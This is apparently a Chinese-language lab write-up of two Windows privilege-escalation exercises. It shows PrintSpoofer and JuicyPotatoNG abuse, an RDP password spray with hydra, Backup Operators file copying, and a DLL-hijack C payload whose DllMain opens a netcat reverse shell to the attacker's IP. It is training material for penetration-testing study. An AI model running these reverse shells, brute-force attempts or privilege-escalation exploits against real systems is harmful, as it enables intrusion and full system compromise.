Windows 漏洞利用
Windows 漏洞利用
練習 1
靶機 IP 192.168.240.220,使用 PrintSpoofer 取得程式碼執行並提權,或取 daveadmin 桌面的 flag
該機器 4444 Port 已經有個一般使用者的 Remote Shell
第一步 nc 4444 到靶機然後 whoami /priv 查一下此 Shell 的使用者權限
馬上看到 SeImpersonatePrivilege 的狀態是 Enable,那就妥了
題目寫要利用 PrintSpoofer ,所以直接去下載一個該工具的 64 版本
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
然後透過 iwr GET 載入到靶機
iwr -uri http://192.168.45.214/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
要使用 PrintSpoofer64.exe 在 NT AUTHORITY\SYSTEM 上下文中取得互動式 PowerShell Session,我們使用參數 -c 來指定我們要執行的命令 powershell.exe,並透過參數 -i 來與當前進程進行交互命令提示符。
指令 : .\PrintSpoofer64.exe -i -c powershell.exe
原本是 dave,執行完後 whoami 變成 nt authority\system
可以拿 flag 了
練習 2
靶機 IP 192.168.240.222,提權並獲取 enterpriseadmin 桌面的 flag
該機器 4444 Port 已經有個一般使用者的 Remote Shell
nc 後查看權限,有 Enable 的是 SeChangeNotifyPrivilege,暫時沒戲
接著在 Documents 底下發現很多文件檔,note2.txt 有寫預設密碼是 WelcomeToWinter0121
那就 net user 一下建立使用者帳號檔案 w32user.txt 然後 hydra RDP 破破看
hydra -L /home/kali/w32user.txt -p "WelcomeToWinter0121" rdp://192.168.240.222,獲得 alex
RDP 進去,一樣沒戲唱,該不會是個兔子坑
先透過列舉服務,結果發現如下服務在 C:\ 底下
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
瀏覽看看發現一個 log 檔,裡面明確寫著缺少一個 EnterpriseServiceOptional.dll 檔案
那就做一個吧,剛好在同目錄下有一個 nc.exe 那就直接包進去如下
======================================================================
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("C:/Services/nc.exe 192.168.45.228 4444 -e cmd");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
======================================================================
做完 EnterpriseServiceOptional.c 檔案後記得要編譯後為 dll 檔才能使用
└─$ x86_64-w64-mingw32-gcc EnterpriseServiceOptional.c --shared -o EnterpriseServiceOptional.dll
一樣透過 iwr 上傳過去放到該資料夾 C:\Services 底下
iwr -uri http://192.168.45.164/EnterpriseServiceOptional.dll -Outfile EnterpriseServiceOptional.dll
然後重啟服務,remote shell 就進來了
接著 whoami /priv 看一下,SeImpersonatePrivilege 是 Enable 的,看來就是他了
標準作業 PrintSpoofer64.exe 下去,結果 GG,Access is denied.
下載路徑 : wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
繼續列舉看到該使用者屬於 Backup Operators 群組
隸屬 Backup Operators 所以看來可以備份系統上的相關路徑
讓我們直接用 rebocopy 將目標目的資料夾 COPY 出來
指令 robocopy /B C:\Users\enterpriseadmin\Desktop\ C:\users\enterpriseuser\Desktop\
看到 Flag 被 COPY 出來了,那就直接 type 拿答案吧
好用網站介紹 Privileged Groups,專門介紹不同群組可以提權的小技巧
另一個超實用網站 https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
由於剛剛有看到 enterpriseuser 擁有 SeImpersonatePrivilege 的權限
透過標準的 PrintSpoofer64.exe 結果 GG,所以這時候我們可以用工具來提權
去下載好用的 JuicyPotatoNG 來用 https://github.com/antonioCoco/JuicyPotatoNG
下載後是一個 zip 檔,記得先 unzip [filename] 即可直接使用 exe 檔
Dome 範例使用在該網頁下方有介紹
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c whoami > C:\juicypotatong.txt"
讓我們下載過去
iwr -uri http://192.168.45.164/JuicyPotatoNG.exe -Outfile JuicyPotatoNG.exe
然後執行看看吧,結果有問題
切換成 cmd 執行
然後看一下執行 whoami 的輸出 C:\juicypotatong.txt 發現是 nt authority\system
表示提權成功,所以要改一下思維如何透過提權再次拿到高權限的 shell
機器上面有個 nc.exe 在 C:\Service 路徑下
讓我們將它 COPY 到 Public 使用者路徑,以及將 JuicyPotatoNG.exe 也 COPY 過去
這是因為不同帳號可以存取的檔案權限不同,只好利用一個大家都有權限的路徑
然後利用提權跑 nc.exe 來建立另一個 remote shell,就像我們用 dll 建立 remote shell 一樣
於攻擊機上再建立一個 4443 Listen Port,然後輸入如下指令
JuicyPotatoNG.exe -t * -p nc.exe -a "192.168.45.164 4443 -e C:\windows\system32\cmd.exe"
4443 Port 就進來了,看一下 whoami 發現是 nt authority\system 最大權限了
直接拿 flag 吧
換個思維,如果只是要拿 flag.txt 也可以透過如下指令提權後去 type flag.txt 寫入到檔案
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c type c:\users\enterpriseadmin\desktop\flag.txt > C:\juicypotatong2.txt"
可以看到直接開啟該文字檔就有 flag 了
留言
張貼留言